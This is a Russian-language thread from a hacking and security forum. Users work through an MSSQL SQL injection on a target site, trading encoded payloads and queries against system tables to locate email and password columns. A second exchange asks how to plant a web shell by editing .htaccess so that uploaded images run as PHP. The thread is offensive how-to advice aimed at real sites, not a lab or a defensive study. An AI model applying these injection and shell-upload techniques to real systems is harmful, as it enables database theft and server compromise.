ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Также как и в Мусукле, но нужно учитывать кодировки текста, которого ищешь, и текста, в котором ищешь. Они должны строго совпадать.

все правильно с кодировками

пробовал в char email кодировать

char(101)%2Bchar(109)%2Bchar(97)%2Bchar(105)%2Bcha r(108)

тоже без результата

select top 1 table_name from information_schema.tables where table_name like '%email%'

такой запрос в sql inj не будет работать!

а вот так

SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’

говорит

Only one expression can be specified in the select list when the subquery is not introduced with EXISTS.

пробовал на разных инъекциях везде одно и тоже, как-то по другому видимо нужно

проблема не в кодировке и такие колонки есть в базе юзера мсскл

Попробуй прохексить поисковое значение в like:

select top 1 table_name from information_schema.tables where table_name like 0x25656D61696C25

P.S: email скорее всего в вашем случае должен быть в column_name а не в table_name

есть еозможность чеерез админку редактировать htaccess, можно ли ккак-то алить шелл через него?

А ничего больше заливать нельзя? Может проще в htaccess указать, чтобы пхп парсер проверял дополнительные файлы с нестандартным раширением (допустим картинок, которые очень часто в админках можно загружать).

он не заливается, а посто редактируется, я хотел прописать строчки чтобы он картинки как php обрабатывал, но мне мешает htaccess который лежит в каталоге с картинками

А можно попробовать создать еще одну папку и в нее свой .htaccess нужного содержания залить? или не вариант?

а смысл,в ту папку надо будет еще залить наш шелл залить

ибо хтаккес не в корневой дериктории

я кроме как редачиь htaccess и заливать картинки ничего не могу